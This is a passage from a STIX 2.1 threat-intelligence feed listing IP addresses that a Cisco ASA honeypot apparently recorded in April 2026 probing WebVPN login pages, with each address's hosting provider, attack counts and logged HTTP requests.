      "id": "indicator--f976c9d8-b012-44ee-83b1-0119b26df36a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '155.2.191.245']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T18:20:13.000Z",
      "valid_until": "2026-05-10T18:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-08T17:32:17.516Z",
          "last_seen": "2026-04-18T16:40:33.828Z",
          "country": "United States",
          "country_code": "US",
          "asn": 136557,
          "as_org": "Host Universal Pty Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T18:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 207990 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--5eb720c5-f035-4349-85e1-e004e7c860d7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.141.119.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T18:20:13.000Z",
      "valid_until": "2026-05-10T18:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-08T18:03:36.416Z",
          "last_seen": "2026-04-28T01:32:30.090Z",
          "country": "United States",
          "country_code": "US",
          "asn": 207990,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T18:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 21859 (Zenlayer Inc)",
      "id": "indicator--e1a692df-0d5f-411b-91b7-61fc516047fb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.213.193.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T18:20:13.000Z",
      "valid_until": "2026-05-10T18:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 24,
          "first_seen": "2026-04-08T17:53:09.430Z",
          "last_seen": "2026-04-27T21:37:40.121Z",
          "country": "United States",
          "country_code": "US",
          "asn": 21859,
          "as_org": "Zenlayer Inc",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T18:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 17243 (Byte Node LLC)",
      "id": "indicator--e3263f59-b96d-46b1-b5d5-187ab1b483c9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.159.216.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T18:20:13.000Z",
      "valid_until": "2026-05-10T18:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-08T17:33:29.433Z",
          "last_seen": "2026-04-24T10:21:30.937Z",
          "country": "United States",
          "country_code": "US",
          "asn": 17243,
          "as_org": "Byte Node LLC",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T18:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 399935 (Hayashimo LLC)",
      "id": "indicator--3a1dc042-cd13-428b-8524-7bc7a36adc95",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.168.216.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T18:20:13.000Z",
      "valid_until": "2026-05-10T18:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-08T18:10:31.386Z",
          "last_seen": "2026-04-27T22:38:37.405Z",
          "country": "United States",
          "country_code": "US",
          "asn": 399935,
          "as_org": "Hayashimo LLC",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T18:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--17ee7a88-5797-4a4a-893f-4e25ea8aa63c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.116.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T18:20:13.000Z",
      "valid_until": "2026-05-10T18:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 21,
          "first_seen": "2026-04-08T18:07:56.417Z",
          "last_seen": "2026-04-29T17:22:04.421Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T18:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--e93d5b4b-3f83-4c58-a0f6-04b37cb51893",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.73.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T18:20:13.000Z",
      "valid_until": "2026-05-10T18:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-08T18:07:02.304Z",
          "last_seen": "2026-04-10T11:41:15.398Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T18:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--ff57bba2-d51c-4a00-b8cb-381932958842",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.81.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T18:20:13.000Z",
      "valid_until": "2026-05-10T18:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-08T17:31:39.598Z",
          "last_seen": "2026-04-27T09:49:51.592Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T18:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--213c2b6b-cab4-4f29-aad3-3ce8542e3256",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.94.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T18:20:13.000Z",
      "valid_until": "2026-05-10T18:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-08T18:18:59.496Z",
          "last_seen": "2026-04-13T13:17:03.508Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T18:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 16509 (Amazon.com, Inc.)",
      "id": "indicator--8be5d4f2-2465-4a2f-9c98-ca73bc20b517",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '3.130.168.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T18:20:13.000Z",
      "valid_until": "2026-05-10T18:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-08T17:24:13.331Z",
          "last_seen": "2026-04-25T14:42:28.253Z",
          "country": "United States",
          "country_code": "US",
          "asn": 16509,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T18:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--d1e87e80-d3fa-4abb-8e2e-039dcf25bf87",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '37.19.221.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T18:20:13.000Z",
      "valid_until": "2026-05-10T18:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 27,
          "first_seen": "2026-04-08T17:34:27.185Z",
          "last_seen": "2026-04-25T14:17:26.721Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T19:20:25.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: SG; ASN 135377 (UCLOUD INFORMATION TECHNOLOGY HK LIMITED)",
      "id": "indicator--fc81e133-4cf8-4141-a5cb-b5664a15df0b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '103.72.147.96']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T19:20:25.000Z",
      "valid_until": "2026-05-10T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 8,
          "first_seen": "2026-04-08T19:12:48.563Z",
          "last_seen": "2026-04-08T19:13:01.647Z",
          "country": "Singapore",
          "country_code": "SG",
          "asn": 135377,
          "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/favicon.ico HTTP/1.1\" 404 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/win.js HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T19:20:25.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--1d4e284c-ce0f-49c5-b00b-701697c26017",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.166.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T19:20:25.000Z",
      "valid_until": "2026-05-10T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 21,
          "first_seen": "2026-04-08T19:05:27.198Z",
          "last_seen": "2026-04-30T05:25:16.268Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T19:20:25.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--1cd12c38-92e1-430a-a811-5a8c98f47338",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '149.40.50.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T19:20:25.000Z",
      "valid_until": "2026-05-10T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-08T18:34:37.022Z",
          "last_seen": "2026-04-30T04:36:32.983Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T19:20:25.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 400882 (Cyber Data LLC)",
      "id": "indicator--f6cf3bf2-017f-4080-b6f9-ea8559fa6934",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.162.40.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T19:20:25.000Z",
      "valid_until": "2026-05-10T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-08T18:38:23.498Z",
          "last_seen": "2026-04-21T19:17:50.011Z",
          "country": "United States",
          "country_code": "US",
          "asn": 400882,
          "as_org": "Cyber Data LLC",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T19:20:25.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 399935 (Hayashimo LLC)",
      "id": "indicator--6207b9a2-450e-42a4-a82d-bfbff3b15925",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.168.216.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T19:20:25.000Z",
      "valid_until": "2026-05-10T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 30,
          "first_seen": "2026-04-08T19:09:58.413Z",
          "last_seen": "2026-04-28T02:49:48.702Z",
          "country": "United States",
          "country_code": "US",
          "asn": 399935,
          "as_org": "Hayashimo LLC",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T19:20:25.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--37a1e2fa-d512-4e2a-9821-729ec2783fd5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.101.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T19:20:25.000Z",
      "valid_until": "2026-05-10T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 30,
          "first_seen": "2026-04-08T18:22:51.611Z",
          "last_seen": "2026-04-27T13:04:35.302Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T19:20:25.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--a8d58219-e85b-4bd0-8e3e-3cfdd7d64c4b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.106.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T19:20:25.000Z",
      "valid_until": "2026-05-10T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-08T18:31:30.516Z",
          "last_seen": "2026-04-25T13:56:49.021Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T19:20:25.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--5d26a483-4ff1-40cb-9897-c8be66c6843e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.109.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T19:20:25.000Z",
      "valid_until": "2026-05-10T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-08T19:19:19.039Z",
          "last_seen": "2026-04-22T03:05:31.534Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T19:20:25.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--1afd34c2-1367-492c-8ef2-feeeb1b51dd6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.77.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T19:20:25.000Z",
      "valid_until": "2026-05-10T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-08T18:26:27.046Z",
          "last_seen": "2026-04-27T14:13:13.907Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
